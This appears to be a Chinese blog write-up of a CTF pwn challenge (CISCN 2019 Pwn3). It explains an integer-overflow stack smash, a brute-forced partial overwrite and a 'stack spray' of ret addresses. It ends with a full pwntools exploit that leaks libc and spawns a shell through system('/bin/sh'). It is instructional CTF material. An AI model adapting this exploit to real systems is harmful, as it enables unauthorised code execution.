MENU

Catalog

    CISCN-2019-华东北赛区-Pwn3 栈喷射

    December 9, 2020 • Read: 536 • Pwn

    CTFHUB上面的一道题目,拖了很久都没解决,而且也找不到wp,今天发群里问了一下各位师傅,最后终于解决了!
    == 感谢@邛笼石影师傅的指导!!!==
    先贴一下代码:
    main_code.png
    readname_code.png
    readnum_code.png
    这里很明显的一个整数溢出漏洞,我们可以填 -1 来堆栈溢出,然后我就感叹道,好水的题目,结果我就失败了。
    问题在于这道题的retn附近的情况,和其他的题目不太一样。
    asm.png
    retn的内容来自于ecx - 4, ecx的值是我们覆盖的值,这意味着我们可以控制esp的值。
    可以控制esp的值?
    那是不是可以堆栈转移,于是我就去找各种可以写入到bss段上的地方,于是就发现readnum的地方可以写入bss,然后做堆栈转移。
    但是事情并没有那么简单。
    我又失败了,原因就在于,readnum地方写入的位置
    bss_chunk.png
    很不巧的不够的距离顶部很近,堆栈空间只有0x20的空间可以供各种函数使用,那自然是不够用的。

    所以这道题我就这么卡住了,知道找到群里的师傅帮助我解决。
    这位师傅的思路就是利用partial write覆盖ecx那部分对应的堆栈内容,但是由于堆栈是随机的,所以需要爆破几次。
    师傅本来的做法是直接固定一个值,然后爆破内容,爆破的概率是:1/64。
    计算方法是爆破/xab, a有1/16的概率,b的取值是0 4 8 0xC,有1/4的概率。(来自@不会修电脑的计算思路,我本来还以为是1/256,看到之后恍然大悟)

    但是我们这里可以利用一个小技巧,在堆栈上布置各种ret地址,让esi一直滑到我们的ROP位置。
    这样第一次成功的概率是:((16 * 0x4) / 256) = 1 / 4,但是如果是那位师傅的方法的话,第一次的堆栈位置确定后,第二次也确定了。但是通过滑下来的方法的话第一次确定了,第二次也无法确定。
    所以第二次最差情况下成功的概率是:1 / 4,这个概率的一个准确值还是比较难算的,因为要考虑到开始滑的位置,反正一定是小于1 / 4,因为第二次的payload有可能覆盖到第一次的payload,可能让滑的长度增加。
    所以我利用这个技巧后,最差的概率也有1 / 16,但是实际测试中发现,我这么脸黑的人,五六次也能搞定了,再次说明概率计算存在问题。

    之后找到了这个利用反复的名字:栈喷射,确实很妙呢。
    其他地方都是基础操作了,如果还有疑问的可以看一下exp:

    from pwn import *
    from LibcSearcher import *
    
    elf = ELF('./pwn')
    def fun():
        r.sendlineafter("Now, Challenger, What's name?\n:", "wjh")
        r.sendlineafter("Please set the length of password: ", "-1")
    
    def pwn():
        main_addr = 0x080486EA
        ret_addr = 0x0804841a
        
        fun()
        payload = p32(elf.plt['puts']) + p32(main_addr) + p32(elf.got['puts'])
        r.sendafter("):", p32(ret_addr) * 15 + payload + '\x58')
        puts_addr = r.recvuntil('\xf7', timeout=0.5)[-4:]
        if '\xf7' not in puts_addr:
            raise EOFError('error')
        puts_addr = u32(puts_addr)
        print 'puts_addr:' + hex(puts_addr)
        libc = LibcSearcher('puts', puts_addr)
        libc_base = puts_addr - libc.dump('puts')
        system_addr = libc_base + libc.dump('system')
        bin_sh_addr = libc_base + libc.dump('str_bin_sh')
        print "system_addr: " + hex(system_addr)
        print "bin_sh_addr: " + hex(bin_sh_addr)
        
        fun()
        payload2 = p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
        r.sendafter("):", p32(ret_addr) * 15 + payload2 + '\x68')
        if "name?" in r.recv(timeout=0.5):
            raise EOFError('error')
        r.interactive()
    
    while True:
        # context.log_level = "debug"
        try:
            r = process('./pwn')
            #r = remote('challenge-e69b997323702957.sandbox.ctfhub.com', 23220)
            pwn()
        except EOFError:
            pass
    
    Archives QR Code Tip
    QR Code for this page
    Tipping QR Code